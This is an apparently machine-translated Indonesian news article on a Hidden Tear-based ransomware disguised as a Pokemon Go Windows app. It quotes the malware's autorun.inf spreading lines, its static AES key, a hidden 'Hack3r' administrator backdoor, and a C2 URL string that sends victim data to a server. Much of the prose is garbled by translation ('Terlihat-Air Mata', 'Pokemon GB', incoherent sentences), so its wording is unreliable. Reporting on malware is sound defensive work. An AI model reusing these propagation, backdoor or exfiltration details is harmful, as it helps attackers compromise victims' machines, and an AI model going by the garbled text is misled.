Peringatan! Pokemon Go Ransomware menginstal akun administrasi Windows Backdoor
Seperti yang kita semua tahu bahwa Pokemon Go yang merupakan plus geolocation reality game yang dikembangkan oleh Niantic dan sekarang telah menjadi pertandingan terbesar dan paling gila sepanjang masa. peneliti keamanan Michael Gillespie menemukan ransomware baru yang telah dijuluki ransomware Terlihat-Air Mata 'yang meniru Pokemon GB untuk aplikasi Windows
Peringatan! Pokemon Go Menginstall akun Ransomware admin Windows Backdoor
Tak dapat disangkal Pokemon Go adalah free-to-play, berbasis lokasi permainan augmented reality yang dikembangkan oleh Niantic untuk iOS dan Android telah menjadi pertandingan terbesar dan paling gila sepanjang masa. Game ini mengambil jutaan depan pemain komputer untuk memulai permainan monster Pokemon maya di mana-mana di dunia nyata.
Diharapkan, bagaimanapun, bahwa penjahat cyber mengambil keuntungan dari kesempatan ini untuk menginfeksi para pemain dan perangkat mereka. Kali ini, penjahat cyber telah menciptakan ransomware berbahaya, dengan nama yang sama dari permainan, menyerang akun Windows.
Sebuah ransomware baru yang telah dijuluki ransomware Terlihat-Air Mata 'yang meniru Pokemon GB untuk aplikasi Windows. peneliti keamanan Michael Gillespie menemukan bahwa ada sebuah aplikasi untuk Windows malware yang meniru Pokemon GO dan korban sasaran Modus operandi tradisional. Setelah komputer terinfeksi, ransomware mulai mengenkripsi semua file dengan ekstensi berikut:
"txt, rtf, doc, pdf, mht, .docx, .xls, .xlsx .. ppt, pptx, odt, .jpg, .png, csv, sql, .mdb, Sln, .php, .asp, .aspx, html, xml, PSD, .htm, .gif , .png "
#HiddenTear #Ransomware bertopeng sebagai @PokemonGoApp sedih Pikachu disertakan. Catatan هام جدا txt: https://t.co/UcoHYblx7g pic.twitter.com/xXO8f8nTZs
- Michael Gillespie (@ demonslay335 dari) 12 Agustus 2016
malware menggunakan enkripsi AES untuk mengunci file dan file extension '.locked' di dokumen yang relevan akan ditambahkan. Setelah proses enkripsi selesai, ransomware akan menampilkan "pesan darurat" file dengan ini "هام جدا" 'nama. Txt ", membutuhkan korban untuk mengirim email ke [email protected] " untuk mendapatkan instruksi untuk dekripsi.
Ini adalah pesan permintaan penukaran
"(: file yang terenkripsi, mendekripsi Falaksa Mobilis alamat berikut ini [email protected] dan saya terima kasih sebelumnya untuk kemurahan hati Anda "
seakan memiliki" normal "perilaku untuk jenis serangan, seolah-olah itu adalah ransomware umum, maka cukup mengenkripsi file dan meminta uang untuk mendekripsi. Namun, ini membawa beberapa lain di lengan.
dalam proses infeksi mesin, malware itu sendiri menciptakan account administrator backdoor pada Windows, dengan nama "Hack3r" dan karena itu operator malware akan selalu memiliki akses ke komputer korban. pekerjaan berjalan lebih jauh, karena semua jejak kisah penciptaan tersembunyi dengan menggunakan registry Windows.
Infected system
sistem yang terinfeksi
Pokemon ransomware GO akan mencoba untuk pergi ke mesin lain untuk infeksi dan untuk menyebarkan dengan menyalin ransomware executable untuk semua removable drive. Sebuah "autorun.inf" file akan dibuat, untuk memastikan bahwa ransomware akan diaktifkan sepanjang waktu setiap kali unit terkontaminasi terhubung ke komputer.
"[AutoRun] OPEN = PokemonGo.exe
ICON = PokemonGo.exe"
Akhirnya, hal itu juga akan mengatur salinan ransomware untuk drive tetap lainnya pada komputer, yang akan membentuk file autorun lain untuk memulai setiap kali komputer dihidupkan.
Meskipun kemampuan ini, ransomware dilaporkan masih dalam tahap pengembangan. Pertama, malware menggunakan AES kunci "123vivalalgerie" statis, dan server yang menggunakan alamat IP yang untuk penggunaan pribadi, sehingga mustahil untuk mencapai melalui Internet.
"string targetUrl pribadi =" http://10.25.0.169/PokemonGo/write.php?info=";"
Seperti yang telah kami katakan sebelumnya bahwa teknik ini masih dalam tahap awal dan cepat dapat mendorong hacker lain untuk memprogram ulang dan meningkatkan kapasitas kerusakan jenis baru dari ransomware.
